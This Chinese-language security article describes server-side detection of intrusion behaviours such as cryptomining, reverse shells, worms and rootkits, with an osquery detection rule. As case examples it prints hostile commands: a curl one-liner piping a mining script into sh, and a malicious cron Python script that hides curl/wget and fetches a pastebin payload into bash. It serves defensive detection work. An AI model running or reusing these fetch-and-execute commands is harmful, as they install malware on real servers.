扫一扫
关注微信公众号

态势感知——服务器安全策略探索
2019-02-20   4hou

0x00、业务需求

企业IT架构数字化转型的大潮中,往往会面临各种各样的安全威胁,包括:系统和应用软件漏洞利用攻击,APT攻击,数据泄露,云服务器滥用,DDoS攻击等。同时为了应对速度越来越快的网络犯罪攻击,以及针对性攻击的多态化。为我们安全人员提出了更高的要求。

在做应急响应安全事件过程的过程中,确认攻击痕迹一般从以下几个方面:

0x01、服务器安全告警

在态势感知产品中,在服务器上部署EDR终端是一个很好的服务器安全量化的一个过程。因为我们在服务器上可以收集进程、端口、账号、软件以及文件目录基础的安全数据。通过这些基础数据通过后台大数据分析加工形成我们感知到威胁。

本篇主要从服务器端做检测,服务器端检测有以下优势:

  • 单纯的网络层威胁检测无法和终端数据联动,形成的证据链可信度低。
  • 加密连接,通过SSL的bash反连等,无法通过网络检测,需要深度学习检测,检测成本过高。
  • threat hunting需求,可以更深入调查,包括获取恶意程序。

那么我们先从入侵行为分析开始:

  • 失陷主机

检测思路:需要收集服务器端基础数据: 实时网络连接数据,同时需要商业威胁情报数据源。

实时网络连接数据,实验环境搭建:通过kolide+osquery+ElasticSearch+kibana。

实现步骤:

1、从服务器端获取基础外联网络数据。

2、通过flink或者spark streaming做实时Top进程、Top外联IP统计,分析所有服务器上传的外联孤岛数据,也可以编辑规则重点监控下载应用程序,或者下载对端的应用如果是HFS服务。需要重点关注。当然这里可以玩的playbook很多,需要用户自己挖掘。

3、从中获取到应有程序路径、对外连接IP信息,以及端口。通过IP地址查询威胁情报,如果对端IP地址使用的C2、Tor、VPN、SS等地址视为失陷主机。态势感知——服务器安全策略探索

  • 对外可疑连接

检测思路:这里主要是增加内容特征,比如说:上传设备基本信息、发送攻击指令、获取公网IP地址、黑客攻击连接等。服务器端需要把恶意程序上传云查杀或者云沙箱做深入检测。

实验环境:Malice(支持Yara+多杀毒引擎集成+virustotal)+ClamAV +ElasticSearch+kibana。

IDS检测规则完善:

当然需要一个安全Team维护这个规则。

检测流程:

1、通过IDS检测到对外连接。

2、通过网络通讯进程关联到文件。

3、上传文件到云查杀系统中检测。如果发现病毒告警。

  • 对外DDoS

检测思路:通过获取实时进程快照,网络对外连接快照,网络层获取其流量信息,同时也上传对应的进程文件到云查杀和云沙箱检测。在网络层检测通过IDS规则检测到对外DDoS攻击最多为:NTP反射攻击、memcache反射攻击。但是在服务器端检测会发现更多攻击方式,例如:CC攻击、SIP协议攻击、视频协议攻击、SYN Flood、ACK Flood等。当然需要客户端抓包进一步确认。

检测流程:

1、获取进程快照,网络对外连接快照,对外连接网络流量(需要驱动支持)或者获取总流量。

2、执行抓包程序,采集服务器端Pcap包,上传Pcap包样本到服务器端。

3、通过各种DDoS攻击规则过滤,如果发现预定的攻击类型。

  • 挖矿检测

检测思路:特征是CPU占用率过高。通过上传进程快照,同时获取类似top命令CPU占用率信息。可以确定挖矿进程。当然还有 /bin/sh -c /usr/bin/curl -sL https://xmr.tgywl.cn|sh 直接挖矿。

检测流程:

1、获取进程快照,CPU占用率信息。

2、多次CPU占率过高的进程聚合。

3、上传文件到云查杀系统中检测。如果发现病毒告警。

4、复查各个端口被入侵的痕迹,如果产生以下攻击告警,需要大数据关联分析(flink or spark streaming)。

  • 对外爆破

检测思路:关联网络层检测和服务器端检测相关进程。

检测流程:

1、获取进程快照,对外网络连接快照。

2、获取网络层面各种协议的暴力破解告警。

3、使用flink or spark streaming 做大数据关联分析。

  • 蠕虫病毒

检测思路:如果存在对外扫描功能,通过大数据分析网络连接,短时间内过多连接视为可疑。

检测流程:

1、获取进程快照,对外网络连接快照。

2、获取网络层面对外可疑连接告警。

3、上传文件到云查杀系统中检测。进一步分析,发现病毒标记为蠕虫病毒告警。

  • 反弹shell

检测思路:sh或者bash运行打开远程连接,视为反弹shell。

检测流程:

1、获取进程快照,对外网络连接快照。

2、查询语句。


  1. "behavioral_reverse_shell": { 
  2.       "query" : "SELECT DISTINCT(processes.pid), processes.parent, processes.name, processes.path, processes.cmdline, processes.cwd, processes.root, processes.uid, processes.gid, processes.start_time, process_open_sockets.remote_address, process_open_sockets.remote_port, (SELECT cmdline FROM processes AS parent_cmdline WHERE pid=processes.parent) AS parent_cmdline FROM processes JOIN process_open_sockets USING (pid) LEFT OUTER JOIN process_open_files ON processes.pid = process_open_files.pid WHERE (name='sh' OR name='bash') AND remote_address NOT IN ('0.0.0.0', '::', '') AND remote_address NOT LIKE '10.%' AND remote_address NOT LIKE '192.168.%';"
  3.       "interval" : 600, 
  4.       "description" : "Find shell processes that have open sockets" 
  5.     }, 
  • rootkit检测

我们先看一个入侵案例,以下脚本是用户放到定时任务中的经过base64加密的脚本,通过替换curl、wget实现进程网络通讯隐藏的目的。


  1. import os 
  2. import os.path 
  3.  
  4. def GetDeps(): 
  5.  
  6.    if os.path.isfile('/usr/bin/url'): 
  7.         os.system("mv /usr/bin/url /usr/bin/curl"
  8.         os.system("chmod 777 /usr/bin/curl"
  9.         os.system("chmod +x /usr/bin/curl"
  10.  
  11.     if os.path.isfile('/usr/bin/get'): 
  12.         os.system("mv /usr/bin/get /usr/bin/wget"
  13.         os.system("chmod 777 /usr/bin/wget"
  14.         os.system("chmod +x /usr/bin/wget"
  15.  
  16.     if not os.path.isfile('/usr/bin/wget'): 
  17.         os.system("yum clean all"
  18.         os.system("yum -y install wget"
  19.         os.system("apt-get update"
  20.         os.system("apt-get -y install wget"
  21.  
  22.     if not os.path.isfile('/usr/bin/curl'): 
  23.         os.system("yum clean all"
  24.         os.system("yum -y install curl"
  25.         os.system("apt-get update"
  26.         os.system("apt-get -y install wget"
  27.  
  28. if os.getuid()==0: 
  29.     GetDeps() 
  30. os.system("(curl -fsSL https://pastebin.com/raw/JuBCmASZ||wget -q -O- https://pastebin.com/raw/JuBCmASZ)|bash%7Cbash)"

由于存在我们安装的服务器以前中过rootkit程序的情况。

检测流程

1、需要从远程下载wget\curl\ps\ls\netstat\ss等网络和文件检测工具

2、与本地对应的文件做对比检测找到diff。

3、如果存在Diff,证明存在rootkit的恶意行为,告警。

  • 勒索软件

检测思路:

1、上传文件创建基础数据信息、上传进程快照信息。

2、统计平时文件创建数据,设置动态基础数据基线。

3、如果单台服务器创建量超出平时2倍以上,需要把对应的文件上传到云查杀分析,如果发现勒索软件病毒标签告警。

0x03、总结

服务器安全检测是一项非常繁琐,并且特殊情况比较多的工作,需要这些检测规则和手段自动化成威胁模型。同时,人工threat huning结果也要不断加入,形成正向反馈,良性循环。

热词搜索:服务器 安全

上一篇:深入考察无服务器架构的安全威胁,SLS-1:事件注入
下一篇:大数据:产业链条将更为完备

分享到: 收藏